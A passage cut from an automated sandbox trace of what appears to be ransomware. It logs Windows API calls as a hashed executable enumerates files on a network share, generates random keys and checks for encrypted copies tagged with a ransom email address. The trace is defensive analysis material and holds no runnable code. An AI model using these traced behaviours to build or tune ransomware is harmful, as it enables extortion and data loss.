"\\\\192.168.0.1\\documents\\1wjgsbbxyz9w44lk.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0158.280] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\1WjGsbbxyz9w44lK.jpg" (normalized: "\\\\192.168.0.1\\documents\\1wjgsbbxyz9w44lk.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.507] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0158.507] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7wJ29fsIwS36l.ods" (normalized: "\\\\192.168.0.1\\documents\\7wj29fsiws36l.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0158.576] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=67126) returned 1 [0158.576] CloseHandle (hObject=0x224) returned 1 [0158.576] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7wJ29fsIwS36l.ods" (normalized: "\\\\192.168.0.1\\documents\\7wj29fsiws36l.ods")) returned 0x80 [0158.577] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7wJ29fsIwS36l.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\7wj29fsiws36l.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0158.677] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\7wJ29fsIwS36l.ods" (normalized: "\\\\192.168.0.1\\documents\\7wj29fsiws36l.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.924] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0159.924] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LLAm0.pps" (normalized: "\\\\192.168.0.1\\documents\\llam0.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0160.042] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=49898) returned 1 [0160.043] CloseHandle (hObject=0x224) returned 1 [0160.043] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LLAm0.pps" (normalized: "\\\\192.168.0.1\\documents\\llam0.pps")) returned 0x80 [0160.043] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LLAm0.pps.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\llam0.pps.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0160.926] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LLAm0.pps" (normalized: "\\\\192.168.0.1\\documents\\llam0.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0161.538] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0161.545] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EqQ64IKq2Th.pptx" (normalized: "\\\\192.168.0.1\\documents\\eqq64ikq2th.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0162.351] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=95902) returned 1 [0162.351] CloseHandle (hObject=0x224) returned 1 [0162.351] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EqQ64IKq2Th.pptx" (normalized: "\\\\192.168.0.1\\documents\\eqq64ikq2th.pptx")) returned 0x80 [0162.352] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EqQ64IKq2Th.pptx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\eqq64ikq2th.pptx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0162.446] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EqQ64IKq2Th.pptx" (normalized: "\\\\192.168.0.1\\documents\\eqq64ikq2th.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0162.674] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0162.678] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kmB0a6WlogU.gif" (normalized: "\\\\192.168.0.1\\documents\\kmb0a6wlogu.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0163.117] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=62081) returned 1 [0163.117] CloseHandle (hObject=0x224) returned 1 [0163.122] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kmB0a6WlogU.gif" (normalized: "\\\\192.168.0.1\\documents\\kmb0a6wlogu.gif")) returned 0x80 [0163.135] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kmB0a6WlogU.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\kmb0a6wlogu.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0163.139] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kmB0a6WlogU.gif" (normalized: "\\\\192.168.0.1\\documents\\kmb0a6wlogu.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.393] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0163.393] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HwIsy.png" (normalized: "\\\\192.168.0.1\\documents\\hwisy.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0163.432] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=51698) returned 1 [0163.432] CloseHandle (hObject=0x224) returned 1 [0163.432] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HwIsy.png" (normalized: "\\\\192.168.0.1\\documents\\hwisy.png")) returned 0x80 [0163.433] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HwIsy.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\hwisy.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) Process: id = "11" image_name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" page_root = "0x11feb000" os_pid = "0x75c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x6fc" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fcb1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2940 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2941 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2942 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2943 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2944 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2945 start_va = 0x1f0000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 2946 start_va = 0x2a0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2947 start_va = 0xad0000 end_va = 0xae4fff monitored = 1 entry_point = 0xad6652 region_type = mapped_file name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe") Region: id = 2948 start_va = 0x77440000 end_va = 0x775e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2949 start_va = 0x77620000 end_va = 0x7779ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2950 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2951 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2952 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2953 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2954 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2955 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2956 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2957 start_va = 0x70000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2958 start_va = 0x73db0000 end_va = 0x73deefff monitored = 0 entry_point = 0x73dde088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2959 start_va = 0x73d50000 end_va = 0x73dabfff monitored = 0 entry_point = 0x73d8f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2960 start_va = 0x73d40000 end_va = 0x73d47fff monitored = 0 entry_point = 0x73d420f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2961 start_va = 0x77320000 end_va = 0x7743efff monitored = 0 entry_point = 0x77335340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2962 start_va = 0x753b0000 end_va = 0x754bffff monitored = 0 entry_point = 0x753c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2963 start_va = 0x77320000 end_va = 0x7743efff monitored = 0 entry_point = 0x77335340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2964 start_va = 0x77320000 end_va = 0x7743efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 2965 start_va = 0x77220000 end_va = 0x77319fff monitored = 0 entry_point = 0x7723a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2966 start_va = 0x77220000 end_va = 0x77319fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077220000" filename = "" Region: id = 2967 start_va = 0x3a0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2968 start_va = 0x753b0000 end_va = 0x754bffff monitored = 0 entry_point = 0x753c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2969 start_va = 0x75850000 end_va = 0x75896fff monitored = 0 entry_point = 0x758574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3053 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3054 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3055 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3056 start_va = 0x150000 end_va = 0x1b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3059 start_va = 0x73a20000 end_va = 0x73a31fff monitored = 0 entry_point = 0x73a21200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3085 start_va = 0x75590000 end_va = 0x755c4fff monitored = 0 entry_point = 0x7559145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3086 start_va = 0x75c30000 end_va = 0x75cdbfff monitored = 0 entry_point = 0x75c3a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3087 start_va = 0x770e0000 end_va = 0x771cffff monitored = 0 entry_point = 0x770f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3088 start_va = 0x75170000 end_va = 0x751cffff monitored = 0 entry_point = 0x7518a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3089 start_va = 0x75160000 end_va = 0x7516bfff monitored = 0 entry_point = 0x751610e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3090 start_va = 0x756f0000 end_va = 0x75708fff monitored = 0 entry_point = 0x756f4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3091 start_va = 0x751d0000 end_va = 0x751d5fff monitored = 0 entry_point = 0x751d1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3092 start_va = 0x75200000 end_va = 0x752fffff monitored = 0 entry_point = 0x7521b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3093 start_va = 0x77050000 end_va = 0x770dffff monitored = 0 entry_point = 0x77066343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3094 start_va = 0x775f0000 end_va = 0x775f9fff monitored = 0 entry_point = 0x775f36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3095 start_va = 0x75300000 end_va = 0x7539cfff monitored = 0 entry_point = 0x75333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3096 start_va = 0x75650000 end_va = 0x756effff monitored = 0 entry_point = 0x756649e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3097 start_va = 0x75ef0000 end_va = 0x76b39fff monitored = 0 entry_point = 0x75f71601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3098 start_va = 0x76cd0000 end_va = 0x76d26fff monitored = 0 entry_point = 0x76ce9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3099 start_va = 0x500000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 3132 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3133 start_va = 0x500000 end_va = 0x687fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 3134 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 3135 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3136 start_va = 0x76ff0000 end_va = 0x7704ffff monitored = 0 entry_point = 0x7700158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3137 start_va = 0x754c0000 end_va = 0x7558bfff monitored = 0 entry_point = 0x754c168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3138 start_va = 0x6b0000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 3139 start_va = 0xaf0000 end_va = 0x1eeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 3155 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3156 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3157 start_va = 0x840000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 3179 start_va = 0x73a00000 end_va = 0x73a16fff monitored = 0 entry_point = 0x73a03573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3180 start_va = 0x70000 end_va = 0xabfff monitored = 0 entry_point = 0x7128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3181 start_va = 0xd0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3182 start_va = 0x70000 end_va = 0xabfff monitored = 0 entry_point = 0x7128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3183 start_va = 0x70000 end_va = 0xabfff monitored = 0 entry_point = 0x7128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3184 start_va = 0x70000 end_va = 0xabfff monitored = 0 entry_point = 0x7128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3185 start_va = 0x70000 end_va = 0xabfff monitored = 0 entry_point = 0x7128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3186 start_va = 0x739c0000 end_va = 0x739fafff monitored = 0 entry_point = 0x739c128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Thread: id = 109 os_tid = 0x760 [0132.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x39ff74 | out: lpSystemTimeAsFileTime=0x39ff74*(dwLowDateTime=0xf6f28800, dwHighDateTime=0x1d93032)) [0132.685] GetCurrentProcessId () returned 0x75c [0132.685] GetCurrentThreadId () returned 0x760 [0132.685] GetTickCount () returned 0x75e8 [0132.685] QueryPerformanceCounter (in: lpPerformanceCount=0x39ff6c | out: lpPerformanceCount=0x39ff6c*=1699360496487) returned 1 [0132.713] GetStartupInfoW (in: lpStartupInfo=0x39ff18 | out: lpStartupInfo=0x39ff18*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x39ff7c, hStdError=0xad8ca4)) [0132.713] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0132.713] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x9d0000 [0132.713] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0132.714] GetProcAddress (hModule=0x753b0000, lpProcName="FlsAlloc") returned 0x753c4ee3 [0132.714] GetProcAddress (hModule=0x753b0000, lpProcName="FlsGetValue") returned 0x753c1252 [0132.714] GetProcAddress (hModule=0x753b0000, lpProcName="FlsSetValue") returned 0x753c41c0 [0132.714] GetProcAddress (hModule=0x753b0000, lpProcName="FlsFree") returned 0x753c354f [0132.715] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x214) returned 0x9d07d0 [0132.715] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x753b0000 [0132.715] GetCurrentThreadId () returned 0x760 [0132.715] GetStartupInfoW (in: lpStartupInfo=0x39feb4 | out: lpStartupInfo=0x39feb4*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xad726a, hStdOutput=0xad75a3, hStdError=0x9d07d0)) [0132.715] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x800) returned 0x9d09f0 [0132.715] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0132.715] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0132.715] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0132.715] SetHandleCount (uNumber=0x20) returned 0x20 [0132.715] GetCommandLineA () returned="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\" " [0132.715] GetEnvironmentStringsW () returned 0x414bc0* [0132.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1500, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1500 [0132.715] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x5dc) returned 0x9d11f8 [0132.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1500, lpMultiByteStr=0x9d11f8, cbMultiByte=1500, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1500 [0132.716] FreeEnvironmentStringsW (penv=0x414bc0) returned 1 [0132.716] GetLastError () returned 0x5 [0132.716] SetLastError (dwErrCode=0x5) [0132.716] GetLastError () returned 0x5 [0132.716] SetLastError (dwErrCode=0x5) [0132.716] GetLastError () returned 0x5 [0132.716] SetLastError (dwErrCode=0x5) [0132.716] GetACP () returned 0x4e4 [0132.716] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x220) returned 0x9d17e0 [0132.716] GetLastError () returned 0x5 [0132.716] SetLastError (dwErrCode=0x5) [0132.716] IsValidCodePage (CodePage=0x4e4) returned 1 [0132.716] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x39fe7c | out: lpCPInfo=0x39fe7c) returned 1 [0132.716] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x39f948 | out: lpCPInfo=0x39f948) returned 1 [0132.716] GetLastError () returned 0x5 [0132.716] SetLastError (dwErrCode=0x5) [0132.716] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0132.716] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x39fd5c, cbMultiByte=256, lpWideCharStr=0x39f6c8, cchWideChar=256 | out: lpWideCharStr=" 